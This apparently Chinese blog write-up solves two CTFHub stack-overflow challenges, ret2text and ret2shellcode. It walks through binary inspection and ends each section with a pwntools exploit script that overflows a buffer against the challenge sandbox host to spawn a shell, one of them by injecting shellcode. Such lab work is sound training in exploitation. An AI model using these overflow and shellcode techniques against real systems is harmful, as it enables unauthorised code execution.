CTFHub[PWN技能树]——栈溢出


一、ret2text

  1. 例行检查,64位程序,没有开启任何保护
    在这里插入图片描述
  2. 本地运行一下情况,看看大概的情况
    在这里插入图片描述
  3. 64位ida载入,检索程序里的字符串发现了bin/sh
    在这里插入图片描述
    要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)
    在这里插入图片描述
  4. 看main函数
    在这里插入图片描述
    第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
from pwn import *

#p=process('./pwn1')
p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293)

payload='a'*(0x70+8)+p64(0x4007b8)

p.sendline(payload)

p.interactive()

在这里插入图片描述

二、ret2shellcode

  1. 例行检查,64位程序,仍然未开启任何保护
    在这里插入图片描述
  2. 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址
    在这里插入图片描述
  3. 64位ida载入,看main函数
    在这里插入图片描述
    一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞
  4. 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
    设置一下环境参数,之后直接用pwntools生成shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
  1. 有了shellcode,然后就是shellcode写到哪里的问题
    本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16) 

我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret

shellcode_addr = buf_addr + 0x10+0x8+0x8 
  1. shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
payload = 'a' * 24 + p64(shellcode_addr) + shellcode

完整exp:

#coding=utf-8
from pwn import *
import re

#context.log_level = "debug"
context.arch = 'amd64'

p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282)

#p=process('./pwn2')
#gdb.attach(p)

buf_addr = p.recvuntil("]")

buf_addr = int(buf_addr[-15:-1], 16) 

shellcode_addr = buf_addr + 32  


shellcode = asm(shellcraft.sh())

payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

在这里插入图片描述

技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题

原文地址:https://www.cnblogs.com/xlrp/p/14273616.html